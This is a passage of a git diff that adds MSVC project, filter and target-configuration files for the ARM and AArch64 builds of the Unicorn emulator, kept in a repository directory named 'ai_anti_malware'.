<ForcedIncludeFiles>aarch64eb.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>aarch64eb.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64eb-softmmu/aarch64eb-softmmu.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64eb-softmmu/aarch64eb-softmmu.vcxproj.filters new file mode 100644 index 0000000..39d22d5 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64eb-softmmu/aarch64eb-softmmu.vcxproj.filters @@ -0,0 +1,149 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="fpu"> + <UniqueIdentifier>{4988fbf5-a5f0-4aaa-b301-8292e3bb6df7}</UniqueIdentifier> + </Filter> + <Filter Include="hw"> + <UniqueIdentifier>{ea984014-3856-4951-aa11-ed7d98e7d749}</UniqueIdentifier> + </Filter> + <Filter Include="hw\arm"> + <UniqueIdentifier>{fac9d0b8-8064-4486-bc54-0a63831fae99}</UniqueIdentifier> + </Filter> + <Filter Include="target-arm"> + <UniqueIdentifier>{8bb5cb48-4c00-419c-9ec9-7fa2829dd28e}</UniqueIdentifier> + </Filter> + <Filter Include="tcg"> + <UniqueIdentifier>{4667e883-fc0e-4fc8-afad-b8f471736a96}</UniqueIdentifier> + </Filter> + <Filter Include="tcg\i386"> + <UniqueIdentifier>{d2c6525e-91e8-4b37-bd22-c07aa4058f1d}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\arm_ldst.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\cpu-qom.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\cpu.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\helper-a64.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\helper.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\internals.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\kvm-consts.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\op_addsub.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\translate.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\unicorn.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h"> + <Filter>tcg\i386</Filter> + </ClInclude> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + <ClInclude Include="..\..\..\qemu\aarch64eb.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c"> + <Filter>fpu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\arm\tosa.c"> + <Filter>hw\arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\arm\virt.c"> + <Filter>hw\arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\cpu.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\cpu64.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\crypto_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\helper-a64.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\iwmmxt_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\neon_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\op_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\psci.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\translate-a64.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\translate.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\unicorn_aarch64.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <Filter>tcg\i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64eb-softmmu/config-target.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64eb-softmmu/config-target.h new file mode 100644 index 0000000..8baffa3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/aarch64eb-softmmu/config-target.h @@ -0,0 +1,6 @@ +/* Automatically generated by create_config - do not modify */ +#define TARGET_AARCH64 1 +#define TARGET_NAME "aarch64eb" +#define TARGET_ARM 1 +#define TARGET_WORDS_BIGENDIAN 1 +#define CONFIG_SOFTMMU 1 diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/arm-softmmu/arm-softmmu.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/arm-softmmu/arm-softmmu.vcxproj new file mode 100644 index 0000000..cb905f3 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/arm-softmmu/arm-softmmu.vcxproj @@ -0,0 +1,235 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h" /> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\arm_ldst.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\cpu-qom.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\cpu.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\helper.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\internals.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\kvm-consts.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\op_addsub.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\translate.h" /> + <ClInclude Include="..\..\..\qemu\target-arm\unicorn.h" /> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h" /> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h" /> + <ClInclude Include="..\..\..\qemu\arm.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c" /> + <ClCompile Include="..\..\..\qemu\hw\arm\tosa.c" /> + <ClCompile Include="..\..\..\qemu\hw\arm\virt.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\cpu.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\crypto_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\iwmmxt_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\neon_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\op_helper.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\psci.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\translate.c" /> + <ClCompile Include="..\..\..\qemu\target-arm\unicorn_arm.c" /> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">true</ExcludedFromBuild> + <ExcludedFromBuild Condition="'$(Configuration)|$(Platform)'=='Release|x64'">true</ExcludedFromBuild> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c" /> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{F67EB1EA-DCFA-4758-A2AA-4B570BA78036}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>armsoftmmu</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>StaticLibrary</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>false</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>arm.h</ForcedIncludeFiles> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>arm.h</ForcedIncludeFiles> + <DebugInformationFormat>ProgramDatabase</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__i386__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>arm.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_LIB;__x86_64__;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;inline=__inline;__func__=__FUNCTION__;NEED_CPU_H;WIN32_LEAN_AND_MEAN</PreprocessorDefinitions> + <AdditionalIncludeDirectories>.;..;../../../qemu;../../../qemu/include;../../../qemu/tcg;../../../qemu/tcg/i386;../../../qemu/target-arm;../../../include</AdditionalIncludeDirectories> + <AdditionalOptions>/wd4018 /wd4244 /wd4267 %(AdditionalOptions)</AdditionalOptions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <ForcedIncludeFiles>arm.h</ForcedIncludeFiles> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Windows</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + </Link> + <PreBuildEvent> + <Command>..\prebuild_script.bat</Command> + </PreBuildEvent> + </ItemDefinitionGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/arm-softmmu/arm-softmmu.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/arm-softmmu/arm-softmmu.vcxproj.filters new file mode 100644 index 0000000..157e6e6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/arm-softmmu/arm-softmmu.vcxproj.filters @@ -0,0 +1,137 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <Filter Include="fpu"> + <UniqueIdentifier>{c29e2ed5-3ecd-426d-9245-04de2c8ce754}</UniqueIdentifier> + </Filter> + <Filter Include="hw"> + <UniqueIdentifier>{89b122b1-9e4c-41b1-8670-c6d9ee3716f6}</UniqueIdentifier> + </Filter> + <Filter Include="hw\arm"> + <UniqueIdentifier>{76f837ed-af45-43bf-9ee7-193dbdec1cd5}</UniqueIdentifier> + </Filter> + <Filter Include="target-arm"> + <UniqueIdentifier>{1f03d4ae-6433-4037-a347-993db1a315e6}</UniqueIdentifier> + </Filter> + <Filter Include="tcg"> + <UniqueIdentifier>{a9187bf5-cd27-47c7-8add-55b11a1150a9}</UniqueIdentifier> + </Filter> + <Filter Include="tcg\i386"> + <UniqueIdentifier>{015b3e43-eb63-4add-9f53-f3ac3033472f}</UniqueIdentifier> + </Filter> + </ItemGroup> + <ItemGroup> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-macros.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\fpu\softfloat-specialize.h"> + <Filter>fpu</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-ldst.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-be-null.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-op.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-opc.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg-runtime.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\tcg.h"> + <Filter>tcg</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\tcg\i386\tcg-target.h"> + <Filter>tcg\i386</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\arm_ldst.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\cpu.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\cpu-qom.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\helper.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\internals.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\kvm-consts.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\op_addsub.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\translate.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\target-arm\unicorn.h"> + <Filter>target-arm</Filter> + </ClInclude> + <ClInclude Include="..\..\..\qemu\arm.h" /> + <ClInclude Include="..\config-host.h" /> + <ClInclude Include="config-target.h" /> + </ItemGroup> + <ItemGroup> + <ClCompile Include="..\..\..\qemu\cpu-exec.c" /> + <ClCompile Include="..\..\..\qemu\cpus.c" /> + <ClCompile Include="..\..\..\qemu\cputlb.c" /> + <ClCompile Include="..\..\..\qemu\exec.c" /> + <ClCompile Include="..\..\..\qemu\ioport.c" /> + <ClCompile Include="..\..\..\qemu\memory.c" /> + <ClCompile Include="..\..\..\qemu\memory_mapping.c" /> + <ClCompile Include="..\..\..\qemu\translate-all.c" /> + <ClCompile Include="..\..\..\qemu\fpu\softfloat.c"> + <Filter>fpu</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\optimize.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\tcg.c"> + <Filter>tcg</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\tcg\i386\tcg-target.c"> + <Filter>tcg\i386</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\arm\tosa.c"> + <Filter>hw\arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\hw\arm\virt.c"> + <Filter>hw\arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\translate.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\cpu.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\crypto_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\iwmmxt_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\neon_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\op_helper.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\psci.c"> + <Filter>target-arm</Filter> + </ClCompile> + <ClCompile Include="..\..\..\qemu\target-arm\unicorn_arm.c"> + <Filter>target-arm</Filter> + </ClCompile> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/arm-softmmu/config-target.h b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/arm-softmmu/config-target.h new file mode 100644 index 0000000..84577a4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/arm-softmmu/config-target.h @@ -0,0 +1,5 @@ +/* Automatically generated by create_config - do not modify */ +#define TARGET_ARM 1 +#define TARGET_NAME "arm" +#define TARGET_ARM 1 +#define CONFIG_SOFTMMU 1 diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/armeb-softmmu/armeb-softmmu.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/armeb-softmmu/armeb-softmmu.vcxproj new file mode 100644 index 0000000..ffac024 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/unicorn/armeb-softmmu/armeb-softmmu.vcxproj @@ -0,0 +1,235 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" 